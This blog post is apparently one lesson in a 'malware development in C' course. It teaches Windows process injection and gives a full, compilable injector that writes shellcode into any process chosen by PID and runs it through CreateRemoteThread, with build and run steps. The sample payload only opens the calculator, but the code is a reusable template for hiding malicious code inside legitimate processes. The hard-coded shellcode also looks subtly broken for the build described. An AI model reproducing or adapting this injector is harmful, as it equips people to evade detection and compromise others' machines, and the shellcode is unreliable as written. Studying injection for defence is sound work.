10-Day Plan for Learning Malware Development in C: Day 5 – Code Injection into Running Processes - blackgem

W E L C O M E

https://i.imgur.com/fEamA3G.png

Tuesday, October 29, 2024

10-Day Plan for Learning Malware Development in C: Day 5 – Code Injection into Running Processes


As on day 5, we’re diving into a crucial technique: process injection, where code is injected into the memory of a running process. This technique is often used by malware to evade detection and operate stealthily by "hiding" in the memory of legitimate processes. Our focus will be on achieving code injection in Windows, using system functions like OpenProcess(), VirtualAllocEx(), WriteProcessMemory(), and CreateRemoteThread().


Day 5 – Code Injection into Running Processes

Objective

The goal for today is to understand code injection and learn how to implement it in C. You’ll study the functions involved in accessing another process’s memory space, writing to it, and executing code within that process. By the end, you’ll complete a microproject to practice injecting code into a simple application running on your system.


Understanding Code Injection

Code Injection is the act of inserting and executing arbitrary code within the address space of another running process. It’s commonly used in various attack techniques, such as DLL injection or process hollowing. Here’s how it generally works in a Windows environment:

  1. Access the Target Process: First, you need to gain a handle to the target process (e.g., a running program) using OpenProcess().
  2. Allocate Memory in the Target Process: Allocate space in the target process’s memory using VirtualAllocEx().
  3. Write to the Allocated Memory: Copy the code you want to execute into the allocated memory using WriteProcessMemory().
  4. Execute the Injected Code: Create a new thread within the target process to execute the injected code using CreateRemoteThread().

This process allows you to inject and execute code covertly within another process, making it a common technique in malware development but also in red team testing and application testing.


Exploring Key Functions for Code Injection in Windows

To successfully perform code injection on Windows, you’ll need to understand these core functions:

  1. OpenProcess():

    • This function is used to open an existing process and obtain a handle to it.
    • Common access rights include PROCESS_VM_WRITE (to write to the process memory), PROCESS_VM_OPERATION (to perform memory operations like allocation), and PROCESS_CREATE_THREAD (to create threads in the target process).

    HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
  2. VirtualAllocEx():

    Allocates memory in the target process, specifying MEM_COMMIT and PAGE_EXECUTE_READWRITE permissions to ensure the injected code can be executed.

    LPVOID remoteMemory = VirtualAllocEx(targetProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  3. WriteProcessMemory(): Writes the actual shellcode or executable code into the allocated memory of the target process.


    WriteProcessMemory(targetProcess, remoteMemory, shellcode, shellcodeSize, NULL);
  4. CreateRemoteThread():Starts a new thread in the target process at the address where the shellcode has been written, executing the code.


    CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);

With these four functions, you have the basic tools required to inject and execute code within another process in Windows.


Microproject

Let’s go through a practical example where we inject code into a target process on Windows. For simplicity, we’ll inject code into a process that simply opens the calculator (calc.exe), which is easy to observe as it will become visible when the injection is successful.

Shellcode: Open Calculator (calc.exe)

The shellcode for opening calc.exe on Windows is as follows:


unsigned char shellcode[] = "\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe6\x50\x56\x31\xc0\xb8\xc7\x93\xc2\x77\xff\xd0";

This byte sequence will open the Windows calculator when executed in the memory of the target process.


Code Injection in Windows

This code demonstrates how to inject shellcode into a target process using the discussed functions.


#include <windows.h> #include <stdio.h> unsigned char shellcode[] = "\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe6\x50\x56\x31\xc0\xb8\xc7\x93\xc2\x77\xff\xd0"; int main() { DWORD targetPID; printf("Enter the Process ID (PID) of the target process: "); scanf("%lu", &targetPID); // Step 1: Open the target process HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); if (targetProcess == NULL) { printf("Could not open target process. Error code: %lu\n", GetLastError()); return 1; } // Step 2: Allocate memory in the target process LPVOID remoteMemory = VirtualAllocEx(targetProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (remoteMemory == NULL) { printf("Memory allocation failed. Error code: %lu\n", GetLastError()); CloseHandle(targetProcess); return 1; } // Step 3: Write the shellcode into the allocated memory SIZE_T bytesWritten; BOOL writeSuccess = WriteProcessMemory(targetProcess, remoteMemory, shellcode, sizeof(shellcode), &bytesWritten); if (!writeSuccess || bytesWritten != sizeof(shellcode)) { printf("WriteProcessMemory failed. Error code: %lu\n", GetLastError()); VirtualFreeEx(targetProcess, remoteMemory, 0, MEM_RELEASE); CloseHandle(targetProcess); return 1; } // Step 4: Create a remote thread to execute the shellcode HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL); if (remoteThread == NULL) { printf("CreateRemoteThread failed. Error code: %lu\n", GetLastError()); VirtualFreeEx(targetProcess, remoteMemory, 0, MEM_RELEASE); CloseHandle(targetProcess); return 1; } printf("Shellcode injected and thread created successfully!\n"); // Clean up handles WaitForSingleObject(remoteThread, INFINITE); CloseHandle(remoteThread); VirtualFreeEx(targetProcess, remoteMemory, 0, MEM_RELEASE); CloseHandle(targetProcess); return 0; }

Explanation of the Code

  1. User Input for PID: We ask for the Process ID (PID) of the target process. You can find the PID in Task Manager under the “Processes” tab.

  2. Process Handle: OpenProcess() is used to obtain a handle to the target process.

  3. Memory Allocation: VirtualAllocEx() allocates executable memory in the target process for our shellcode.

  4. Writing Shellcode: WriteProcessMemory() copies the shellcode (calculator opener) to the allocated memory in the target process.

  5. Executing the Shellcode: CreateRemoteThread() runs the shellcode by starting a new thread at the location of our injected code.

  6. Cleanup: After the shellcode runs, we release the allocated memory and close the handles to avoid resource leaks.


Running the Program

  1. Compile the Code:


    gcc -o inject_code inject_code.c
  2. Run the Program with a Target Process ID:

    1. Open a simple process you wish to target (like Notepad).
    2. Find the PID of Notepad in Task Manager.
    3. Run the injector program and enter the PID when prompted.

    Enter the Process ID (PID) of the target process: <PID>

If the injection is successful, calc.exe will open as a result of the injected shellcode, indicating that the injection worked.


Conclusion

We have learned the basics of code injection in Windows, including how to allocate memory in another process, write code into it, and execute it remotely. This technique is fundamental in malware development but also serves as a powerful tool for testing application resilience in security research.

Happy Hacking! ❤


No comments:

Post a Comment